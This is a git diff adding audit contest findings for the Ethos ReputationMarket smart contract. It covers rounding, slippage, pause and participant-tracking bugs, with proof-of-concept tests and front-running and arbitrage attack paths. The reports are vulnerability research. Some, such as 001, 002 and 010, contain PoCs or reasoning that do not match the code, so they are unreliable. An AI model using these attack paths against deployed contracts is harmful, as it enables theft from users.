diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 3fbffbb..0000000 --- a/.gitignore +++ /dev/null @@ -1,10 +0,0 @@ -* -!*/ -!/.data -!/.github -!/.gitignore -!/README.md -!/comments.csv -!*.md -!**/*.md -!/Audit_Report.pdf diff --git a/001.md b/001.md new file mode 100644 index 0000000..cb4494e --- /dev/null +++ b/001.md @@ -0,0 +1,96 @@ +Fluffy Charcoal Toad + +High + +# LMSR Price Manipulation via Inconsistent Rounding + +### Summary + +Inconsistent rounding modes in price calculations will cause a financial loss for the protocol and market participants as an attacker can exploit price differences through sequential buy/sell operations. + +### Root Cause + +In `ReputationMarket.sol:_calcVotePrice` the rounding modes are inconsistent between trust (Floor) and distrust (Ceil) votes: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L992 + +```javascript +return odds.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil +); +``` + +### Internal Pre-conditions + +1. Market needs to have active trading (not graduated) +2. Market needs to have sufficient liquidity for trades +3. Market votes need to be at relatively low numbers where rounding impact is significant + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. Attacker calls `buyVotes(profileId, true, largeAmount) `to buy trust votes at floor-rounded (lower) price +2. Attacker immediately calls `sellVotes(profileId, true, largeAmount)` to sell at ceiling-rounded (higher) price +3. Attacker repeats steps 1-2 to maximize profit +4. Each cycle generates profit from the rounding difference + +### Impact + +The protocol suffers continuous losses proportional to the volume of trades. Attacker gains the difference between ceiling and floor rounded prices on each cycle. At low vote counts, this can represent a significant percentage of trade value. + +### PoC + +```javascript +function testLMSRManipulation() public { + // Setup market with low votes + uint256 profileId = 1; + uint256 initialVotes = 100; + market.createMarket{value: 1 ether}(); + + // Initial state + uint256 attackerBalance = address(this).balance; + + // Execute attack cycle + for(uint i = 0; i < 5; i++) { + uint256 buyPrice = market.getVotePrice(profileId, true); + market.buyVotes{value: buyPrice * 10}(profileId, true, 10); + + uint256 sellPrice = market.getVotePrice(profileId, true); + market.sellVotes(profileId, true, 10); + + // Profit from each cycle + uint256 profit = sellPrice - buyPrice; + console.log("Profit from cycle:", profit); + } + + assertGt(address(this).balance, attackerBalance); +} +``` + +### Mitigation + +1. Use consistent rounding for both trust and distrust +```javascript +function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + require(market.votes[TRUST] >= MIN_VOTES && market.votes[DISTRUST] >= MIN_VOTES, + "Below minimum votes"); + + uint256 odds = LMSR.getOdds( + market.votes[TRUST], + market.votes[DISTRUST], + market.liquidityParameter, + isPositive + ); + + return odds.mulDiv(market.basePrice, 1e18, Math.Rounding.Floor); +} +``` + +2. Add minimum vote thresholds to reduce impact of rounding +3. Implement trade size limits +4. Add cooldown period between buy and sell operations \ No newline at end of file diff --git a/002.md b/002.md new file mode 100644 index 0000000..8ca4b5e --- /dev/null +++ b/002.md @@ -0,0 +1,82 @@ +Fluffy Charcoal Toad + +High + +# Insufficient Slippage Protection in Vote Purchases + +### Summary + +Missing slippage validation on final vote count will cause financial losses for users as attackers can front-run large trades to force unfavorable execution prices. `buyVotes` decreases votes until they fit within msg.value without checking minVotesToBuy. + +### Root Cause + +In `ReputationMarket.sol:buyVotes` there is a missing validation check between the final number of votes purchased and the user's specified minimum: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440 + +```javascript +// if the cost is greater than the maximum votes to buy, + // decrement vote count and recalculate until we identify the max number of votes they can afford + while (totalCostIncludingFees > msg.value) { + currentVotesToBuy--; + (purchaseCostBeforeFees, protocolFee, donation, totalCostIncludingFees) = _calculateBuy( + markets[profileId], + isPositive, + currentVotesToBuy + ); +``` + +### Internal Pre-conditions + +1. User needs to submit a buyVotes transaction with maxVotesToBuy significantly higher than minVotesToBuy +2. Transaction needs to include sufficient ETH for minVotesToBuy at current prices +3. Market needs to have enough liquidity to execute large trades + +### External Pre-conditions + +1. Network needs to have sufficient congestion to allow front-running + +### Attack Path + +1. Attacker monitors mempool for large buyVotes transactions +2. When victim transaction detected with large maxVotesToBuy, attacker submits front-running trade with higher gas price +3. Attacker's trade executes first, driving up market price +4. Victim's transaction executes but receives fewer votes than minVotesToBuy due to price impact +5. Attacker can then sell votes at higher price + +### Impact + +Users suffer losses due to unfavorable trade execution, potentially receiving significantly fewer votes than their specified minimum. + +### PoC + +```javascript +function testSlippageExploit() public { + // Setup market + uint256 profileId = 1; + market.createMarket{value: 1 ether}(); + + // Victim transaction parameters + uint256 maxVotes = 1000; + uint256 minVotes = 800; + uint256 victimETH = 10 ether; + + // Attacker front-runs + vm.prank(attacker); + market.buyVotes{value: 20 ether}(profileId, true, 2000); + + // Victim transaction executes + vm.prank(victim); + market.buyVotes{value: victimETH}(profileId, true, maxVotes, minVotes); + + // Check victim's received votes + uint256 actualVotes = market.getUserVotes(victim, profileId).trustVotes; + assertLt(actualVotes, minVotes); // Victim receives fewer votes than minimum +} +``` + +### Mitigation + +1. Add slippage check before executing trade +2. Add deadline parameter to prevent stale trades +3. Implement price oracle with TWAP to reduce manipulation \ No newline at end of file diff --git a/003.md b/003.md new file mode 100644 index 0000000..4956dde --- /dev/null +++ b/003.md @@ -0,0 +1,53 @@ +Wide Bone Shetland + +Medium + +# withdrawGraduatedMarketFunds and withdrawDonations functions should avoid using the whenNotPaused modifier + +### Summary + +Using the whenNotPaused modifier will cause users to lose access to their funds when the contract is paused, as it prevents the withdrawGraduatedMarketFunds and withdrawDonations functions from being executed. This could leave users unable to withdraw their funds/donations during emergencies or unexpected pauses, + +### Root Cause + +The root cause lies in the use of the whenNotPaused modifier in the withdrawDonations and withdrawGraduatedMarketFunds functions. + +"withdrawDonations" + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L651 + + +"withdrawGraduatedMarketFunds" + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L740 + + +### Internal Pre-conditions + +1. The contract must be paused, either by a malicious or a compromised owner, for the vulnerability path to occur. + +2. The withdrawDonations and withdrawGraduatedMarketFunds functions includes the whenNotPaused modifier, preventing withdrawals while the contract is paused. + +3. Users need to have funds available in the contract to attempt withdrawal. + +4. The paused state must last long enough for users to try to withdraw funds, thereby triggering the blockage (whenNotPaused). + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- The User Loses Access to Funds: + +### PoC + +_No response_ + +### Mitigation + +Provide an `emergencyWithdrawFunds and emergencyWithdrawDonations` method allowing users to withdraw their funds and donations when the protocol is paused or remove the whenNotPaused modifier from the affected functions. This change should be carefully reviewed and tested to ensure it does not introduce other security risks. \ No newline at end of file diff --git a/004.md b/004.md new file mode 100644 index 0000000..95d7f3c --- /dev/null +++ b/004.md @@ -0,0 +1,111 @@ +Loud Onyx Perch + +Medium + +# Wrong vote price/cost will be returned due to inversed rounding condition + +### Summary + +When the protocol calculates a vote price, it computes the `costRatio` then which is divided by the price's base price, so some rounding should be made here, currently, the protocol rounds the answer down for `TRUST` votes: +```typescript +cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil +); +``` + +On the other hand, in `_calcVotePrice`, which is used for the same goal but represents a midpoint between the next marginal transaction, the comment clearly states that the answer should be rounded up for `TRUST` votes: +```typescript + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + // odds are in a ratio of N / 1e18 + uint256 odds = LMSR.getOdds( + market.votes[TRUST], + market.votes[DISTRUST], + market.liquidityParameter, + isPositive + ); + // multiply odds by base price to get price; divide by 1e18 to get price in wei +@> // round up for trust, down for distrust so that prices always equal basePrice + return + odds.mulDiv(market.basePrice, 1e18, isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil); + } +``` + +This results in misleading vote costs being returned to the users. + +### Root Cause + +Inversed rounding conditions in both `_calcVotePrice` and `_calcCost`: +```typescript +odds.mulDiv(market.basePrice, 1e18, isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil); +``` + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1001-L1003 +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1054-L1058 + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The wrong vote price/cost will be returned. + +### PoC + +Add the following test in `ethos/packages/contracts/test/reputationMarket/rep.fees.test.ts`: +```typescript +describe('PoC', () => { + it('vote price rounding inveresed', async () => { + const user1 = ethosUserA.signer; + + await reputationMarket + .connect(user1) + .buyVotes(DEFAULT.profileId, true, 1, 1, { value: DEFAULT.creationCost }); + + expect(await reputationMarket.getVotePrice(DEFAULT.profileId, true)).to.be.equal( + 5002499999791666n, // Rounded down + ); + }); +}); +``` + +### Mitigation + +Inverse the rounding in both `_calcVotePrice` and `_calcCost`. + +```diff + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + // ... + + // multiply odds by base price to get price; divide by 1e18 to get price in wei + // round up for trust, down for distrust so that prices always equal basePrice +- return odds.mulDiv(market.basePrice, 1e18, isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil); ++ return odds.mulDiv(market.basePrice, 1e18, isPositive ? Math.Rounding.Ceil : Math.Rounding.Floor); + } + + function _calcCost( + Market memory market, + bool isPositive, + bool isBuy, + uint256 amount + ) private pure returns (uint256 cost) { + // ... + + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, +- isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil ++ isPositive ? Math.Rounding.Ceil : Math.Rounding.Floor + ); + } +``` \ No newline at end of file diff --git a/005.md b/005.md new file mode 100644 index 0000000..2536293 --- /dev/null +++ b/005.md @@ -0,0 +1,132 @@ +Loud Onyx Perch + +High + +# Wrong slippage protection when selling votes + +### Summary + +When sellers sell their votes, they use the `sellVotes` function, the protocol also provides a way to protect against sandwich attacks, by allowing them to pass a slippage protection, `minimumVotePrice`. +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, +@> uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + // ... + } +``` + +Later, the price per vote is calculated and compared to the provided `minimumVotePrice`, however, the issue here is that the protocol is using `proceedsBeforeFees` to do so: +```solidity +(uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell +); + +uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; +if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); +} +``` +This is wrong, as `proceedsBeforeFees` is an exaggerated amount of `proceedsAfterFees`, which contains the exit fees and doesn't properly reflect the resulting vote price the user will receive. + +NB: +Even if the seller is aware of the fees, there's still a possibility that the exit fees change just before the execution of a `sellVotes` transaction, leaving it vulnerable to sandwich attacks. + + +### Root Cause + +`ReputationMarket::sellVotes` uses the `proceedsBeforeFees` when calculating the price per vote, which is wrong as it doesn't account for fees, https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L553. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Slippage protection will not work as expected, forcing sellers to lose funds. + +### PoC + +Add the following in `ethos/packages/contracts/test/reputationMarket/rep.fees.test.ts`: +```typescript +describe('PoC', () => { + let user1: HardhatEthersSigner, user2: HardhatEthersSigner; + + beforeEach(async () => { + user1 = ethosUserA.signer; + user2 = await deployer.createUser().then(async (ethosUser) => { + await ethosUser.setBalance('2000'); + + return ethosUser.signer; + }); + + await reputationMarket.connect(deployer.ADMIN).setExitProtocolFeeBasisPoints(5_00); + }); + + it('sellVotes - wrong slippage protection', async () => { + // User 1 buys 1 vote + await reputationMarket + .connect(user1) + .buyVotes(DEFAULT.profileId, true, 1, 1, { value: DEFAULT.creationCost }); + + // User 2 sells 1 vote + await reputationMarket + .connect(user2) + .buyVotes(DEFAULT.profileId, true, 1, 1, { value: DEFAULT.creationCost }); + + const expectedVotePrice = ethers.parseEther('0.005'); + const balanceBefore = await ethers.provider.getBalance(user1.address); + + // User 1 sells 1 vote and expects to receive >= 0.005 ETH + await reputationMarket + .connect(user1) + .sellVotes(DEFAULT.profileId, true, 1, expectedVotePrice); + + const balanceAfter = await ethers.provider.getBalance(user1.address); + + // Received less than expected + expect(balanceAfter - balanceBefore).to.be.lessThan(expectedVotePrice); + }); +}); +``` + +### Mitigation + +Use the `proceedsAfterFees` instead of `proceedsBeforeFees` when accounting for slippage: +```diff + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + +- uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; ++ uint256 pricePerVote = votesToSell > 0 ? proceedsAfterFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + // ... + } +``` \ No newline at end of file diff --git a/006.md b/006.md new file mode 100644 index 0000000..72ad7ef --- /dev/null +++ b/006.md @@ -0,0 +1,94 @@ +Loud Onyx Perch + +Medium + +# `isParticipant` is not cleared when selling all votes + +### Summary + +When a user buys some votes, he's added to the participants array and `isParticipant` map, this indicates that the user holds some votes for that market. +```solidity +// Add buyer to participants if not already a participant +if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; +} +``` + +When the user sells his votes he is expected to be removed from the map but remains in the participants' arrays, this could be confirmed by: +1. "append only; don't bother removing. Use isParticipant to check if they've sold all their votes.", https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L131-L133. +2. "@\return The number of historical participants (includes addresses that sold all votes)", https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L782-L790. + +However, this does not happen when the user sells all his votes, and `isParticipant` will keep showing true. + +### Root Cause + +`isParticipant` is not cleared after selling all the user's votes, https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539-L578. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +`isParticipant` is not cleared after selling all the user's votes, which still indicates that he holds some votes, even though he doesn't. + +### PoC + +Add the following test in `ethos/packages/contracts/test/reputationMarket/rep.fees.test.ts`: +```typescript +describe('PoC', () => { + let user1: HardhatEthersSigner, user2: HardhatEthersSigner; + + beforeEach(async () => { + user1 = ethosUserA.signer; + user2 = await deployer.createUser().then(async (ethosUser) => { + await ethosUser.setBalance('2000'); + + return ethosUser.signer; + }); + + await reputationMarket.connect(deployer.ADMIN).setExitProtocolFeeBasisPoints(5_00); + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(5_00); + await reputationMarket.connect(deployer.ADMIN).setDonationBasisPoints(5_00); + }); + + it('isParticipant not clearing when selling votes', async () => { + // User 1 buys 1 vote + await reputationMarket + .connect(user1) + .buyVotes(DEFAULT.profileId, true, 1, 1, { value: DEFAULT.creationCost }); + + // User 1 is added as a participant + expect(await reputationMarket.isParticipant(DEFAULT.profileId, user1.address)).to.be.equal( + true, + ); + + // User 1 sells 1 vote + await reputationMarket.connect(user1).sellVotes(DEFAULT.profileId, true, 1, 0); + + // User 1 is still a participant + expect(await reputationMarket.isParticipant(DEFAULT.profileId, user1.address)).to.be.equal( + true, + ); + }); +}); +``` + +### Mitigation + +Clear `isParticipant` when a seller sells all his votes, by adding something like the following in `sellVotes`: +```solidity +if (votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] == 0) { + // remove the participant if they've sold all their votes + isParticipant[profileId][msg.sender] = false; +} +``` \ No newline at end of file diff --git a/007.md b/007.md new file mode 100644 index 0000000..0f880fe --- /dev/null +++ b/007.md @@ -0,0 +1,74 @@ +Docile Corduroy Camel + +Medium + +# Users can grief market graduation and make markets ungraduatable + +### Summary + +When checking for a market to be graduated, we use ```ReputationMarket.sol::_checkMarketExists()```. This way if the market creator has sold his votes, or is the last one to sell his votes, then the market becomes ungraduatable. + +```solidity +function _checkMarketExists(uint256 profileId) private view { + if (markets[profileId].votes[TRUST] == 0 && markets[profileId].votes[DISTRUST] == 0) + revert MarketDoesNotExist(profileId); +} +``` + +As there is no check for votes becoming 0 when selling votes this is possible and may happen even unknowingly by users that are not aware of this limitation. +Part of the `ReputationMarket.sol::sellVotes()` function: + +```solidity + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; +``` + +And in the `ReputationMarket.sol::_calculateSell()` function we have no check if votes after sell == 0. +Part of the `ReputationMarket.sol::_calculateSell()` function: +```solidity +uint256 votesAvailable = votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST]; + if (votesToSell > votesAvailable) revert InsufficientVotesOwned(profileId, msg.sender); + + if (market.votes[isPositive ? TRUST : DISTRUST] < votesToSell) + revert InsufficientVotesToSell(profileId); +``` + +### Root Cause + +It is possible for a contract to be left out with 0 votes of `TRUST` and `DISTRUST` after selling of votes. This will lead to markets that [cannot be graduated](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1065). + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +(Griefing of markets/selling by mistake) will lead to many markets that can' be graduated. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/008.md b/008.md new file mode 100644 index 0000000..c4e0188 --- /dev/null +++ b/008.md @@ -0,0 +1,76 @@ +Loud Onyx Perch + +Medium + +# `buyVotes` doesn't block 0 votes, allowing users to be added as participants without buying any votes + +### Summary + +When buying votes, users get added to the participants list: +```solidity +// Add buyer to participants if not already a participant +if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; +} +``` +This indicates that the user holds some votes for that market. However, `buyVotes` doesn't block buying 0 votes, i.e. calling `buyVotes` without paying anything and without receiving anything in return. + +This allows users to add themselves as participants for free. + +### Root Cause + +`buyVotes` doesn't block buying 0 votes, https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440-L497. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users can be added to the market's participants without having to buy any votes. + +### PoC + +Add the following test in `ethos/packages/contracts/test/reputationMarket/rep.fees.test.ts`: + +```typescript +describe('PoC', () => { + let user1: HardhatEthersSigner, user2: HardhatEthersSigner; + + beforeEach(async () => { + user1 = ethosUserA.signer; + user2 = await deployer.createUser().then(async (ethosUser) => { + await ethosUser.setBalance('2000'); + + return ethosUser.signer; + }); + + await reputationMarket.connect(deployer.ADMIN).setExitProtocolFeeBasisPoints(5_00); + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(5_00); + await reputationMarket.connect(deployer.ADMIN).setDonationBasisPoints(5_00); + }); + + it('can be added as participant with 0 votes', async () => { + // User 1 buys 0 votes + await reputationMarket.connect(user1).buyVotes(DEFAULT.profileId, true, 0, 0); + + // User 1 is added as a participant + expect(await reputationMarket.isParticipant(DEFAULT.profileId, user1.address)).to.be.equal( + true, + ); + }); +}); +``` + +### Mitigation + +Don't allow buying 0 votes, i.e. have a 0 validation in `buyVotes`. \ No newline at end of file diff --git a/009.md b/009.md new file mode 100644 index 0000000..e3e9516 --- /dev/null +++ b/009.md @@ -0,0 +1,154 @@ +Main Gauze Kangaroo + +Medium + +# ReputationMarket.sol :: sellVotes() may result in users receiving less than the minimumVotePrice per vote, leading to a potential loss of funds. + +### Summary + +The `sellVotes()` is designed to sell votes associated with a specific `profileId`, with a `minimumVotePrice` to ensure votes aren't sold below a certain price. + +However, the issue lies in the fact that the check for `minimumVotePrice` is performed **before** applying the fees. This causes users to unknowingly sell their votes for less than the `minimumVotePrice` receiving less amount for their votes. + +### Root Cause + +[sellVotes()](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539-L578) is implemented as follows. +```solidity +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + @> uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + // tally market funds + marketFunds[profileId] -= proceedsBeforeFees; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller +@> _sendEth(proceedsAfterFees); + + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesToSell, + proceedsAfterFees, + block.timestamp + ); + _emitMarketUpdate(profileId); + } +``` +As you can see, the `minimumVotePrice` check is performed using `proceedsBeforeFees` instead of `proceedsAfterFees`, which represents the actual amount the user will receive. This discrepancy becomes more evident when examining the `previewExitFees()`, which is called within `_calculateSell()`. +```solidity +function previewExitFees( + uint256 proceedsBeforeFees + ) private view returns (uint256 totalProceedsAfterFees, uint256 protocolFee) { + protocolFee = (proceedsBeforeFees * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + totalProceedsAfterFees = proceedsBeforeFees - protocolFee; + } +``` +As you can see, the fees are subtracted, which means that `proceedsBeforeFees` will be greater than `proceedsAfterFees`. This results in users potentially receiving less than the `minimumVotePrice` per vote. + +### Internal Pre-conditions + +None. + +### External Pre-conditions + +The user invokes `sellVotes()` to sell their votes. + +### Attack Path + +None. + +### Impact + +Users may receive less than the specified `minimumVotePrice`, leading to a potential loss of funds. + +### PoC + +To illustrate the issue, let's consider the following example: + +A user wants to sell 10 votes with a `minimumVotePrice = 95`, and the `exitProtocolFeeBasisPoints = 1000`(10%). Assume the profile exits and the price per vote is 100. + +1. The user calls `sellVotes` with `votesToSell = 10` and `minimumVotePrice = 95`. + +2. `_calculateSell()` returns: + - `proceedsBeforeFees = 1000` (10 * 100) + - `protocolFee = 100` (10% of 1000) + - `proceedsAfterFees = 900` (proceedsBeforeFees - protocolFee). + +3. The `pricePerVote` is calculated as: + `pricePerVote = proceedsBeforeFees / votesToSell = 1000 / 10 = 100`. + +4. The `minimumVotePrice` check is performed and passes because: + `pricePerVote (100) >= minimumVotePrice (95) -> true`. + +5. However, the user ultimately receives `proceedsAfterFees = 900`, which equates to a `pricePerVote` of: + `900 / 10 = 90`. + +This results in the user receiving less than the intended `minimumVotePrice` of 95 per vote, causing a loss of funds. Specifically, the user expected minimum 950 tokens (95 * 10 votes) but only received 900 tokens, resulting in a loss of 50 tokens. + +### Mitigation + +To resolve the issue, use `proceedsAfterFees` to calculate the `pricePerVote` instead of `proceedsBeforeFees`. +```diff +function sellVotes( + uint256 profileId, + bool isPositive, + uint256 votesToSell, + uint256 minimumVotePrice + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + +- uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; ++ uint256 pricePerVote = votesToSell > 0 ? proceedsAfterFees/ votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } + + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesToSell; + // tally market funds + marketFunds[profileId] -= proceedsBeforeFees; + + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(proceedsAfterFees); + + emit VotesSold( + profileId, + msg.sender, + isPositive, + votesToSell, + proceedsAfterFees, + block.timestamp + ); + _emitMarketUpdate(profileId); + } +``` \ No newline at end of file diff --git a/010.md b/010.md new file mode 100644 index 0000000..6e9fc14 --- /dev/null +++ b/010.md @@ -0,0 +1,106 @@ +Attractive Carrot Pike + +Medium + +# Wrong Revert Implemetation in `ReputationMarket.sol` contract. This tend to DOS attack. + +### Summary + +In the `updateDonationRecipient` function of the `ReputationMarket.sol` contract, the wrong revert error `ZeroAddress()` is used instead of `ZeroAddressNotAllowed()` from `ReputationMarketErrors.sol`. This misimplementation results in unclear error messages and exposes the system to potential misuse, such as setting the protocol fee address to `address(0)`. + + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L625 + +```solidity + +function updateDonationRecipient( + uint256 profileId, + address newRecipient + ) public whenNotPaused nonReentrant { +@> if (newRecipient == address(0)) revert ZeroAddress(); + + // if the new donation recipient has a balance, do not allow overwriting + if (donationEscrow[newRecipient] != 0) + revert InvalidMarketConfigOption("Donation recipient has balance"); + + // Ensure the sender is the current donation recipient + if (msg.sender != donationRecipient[profileId]) revert InvalidProfileId(); + + // Ensure the new recipient has the same Ethos profileId + uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient); + if (recipientProfileId != profileId) revert InvalidProfileId(); + + // Update the donation recipient reference + donationRecipient[profileId] = newRecipient; + // Swap the current donation balance to the new recipient + donationEscrow[newRecipient] += donationEscrow[msg.sender]; + donationEscrow[msg.sender] = 0; + emit DonationRecipientUpdated(profileId, msg.sender, newRecipient); + } + + +``` + + +### Root Cause + +Wrong Revert Statement Implementation. + +### Internal Pre-conditions + + `address(0)` is not explicitly prevented from being set as the `updateDonationRecipient` due to improper revert handling. + +### External Pre-conditions + +1.The attacker execute the `updateDonationRecipient` function. +2. The protocol must be in a state where it is not paused (`whenNotPaused`) + +### Attack Path + + +1.The function fails to provide a clear error message due to the use of `ZeroAddress()`. +2. If not reverted, `updateDonationRecipient` is updated to `address(0)`. +3. Future transactions relying on a valid `updateDonationRecipient` may fail, leading to a partial or complete denial of service. + + +### Impact + +1. **Vulnerability to DoS Attacks**: Improper validation of `address(0)` can allow malicious or accidental misuse, potentially halting protocol operations. +2. **Poor User Experience**: The unclear error message from `ZeroAddress()` reduces usability and debugging efficiency. + + +### PoC + +Manual Review + +### Mitigation + +Replace the Revert `ZeroAddress()` with `ZeroAddressNotAllowed()` from `ReputationMarketErrors.sol:625` +```diff + + function updateDonationRecipient( + uint256 profileId, + address newRecipient + ) public whenNotPaused nonReentrant { +- if (newRecipient == address(0)) revert ZeroAddress(); ++ if (newRecipient == address(0)) revert ZeroAddressNotAllowed(); + + // if the new donation recipient has a balance, do not allow overwriting + if (donationEscrow[newRecipient] != 0) + revert InvalidMarketConfigOption("Donation recipient has balance"); + + // Ensure the sender is the current donation recipient + if (msg.sender != donationRecipient[profileId]) revert InvalidProfileId(); + + // Ensure the new recipient has the same Ethos profileId + uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient); + if (recipientProfileId != profileId) revert InvalidProfileId(); + + // Update the donation recipient reference + donationRecipient[profileId] = newRecipient; + // Swap the current donation balance to the new recipient + donationEscrow[newRecipient] += donationEscrow[msg.sender]; + donationEscrow[msg.sender] = 0; + emit DonationRecipientUpdated(profileId, msg.sender, newRecipient); + } +``` \ No newline at end of file diff --git a/011.md b/011.md new file mode 100644 index 0000000..9272b5b --- /dev/null +++ b/011.md @@ -0,0 +1,62 @@ +Harsh Purple Mustang + +High + +# Excessive Reliance on Deployer’s Private Key for Critical Roles + +### Summary + +The reliance on the initializers private key for assigning critical roles (e.g., owner and admin) during contract initialization exposes the protocol to severe risks. If the private key is compromised, an attacker can gain full control over the protocol, leading to potential financial losses and operational disruption. + +### Root Cause + +In ``initialize()``, the contract assigns both the owner and admin roles to addresses without implementing any additional safeguards, such as multi-signature wallets or governance mechanisms. + +```solidity +function initialize( + address owner, // Line 10: The address of the owner + address admin, // Line 11: The address of the admin + address expectedSigner, + address signatureVerifier, + address contractAddressManagerAddr +) external initializer { + __accessControl_init(owner, admin, expectedSigner, signatureVerifier, contractAddressManagerAddr); + __UUPSUpgradeable_init(); + enforceCreationAllowList = true; + + // Other initialization logic +} +``` +This setup leaves the protocol critically dependent on the security of the private keys for these 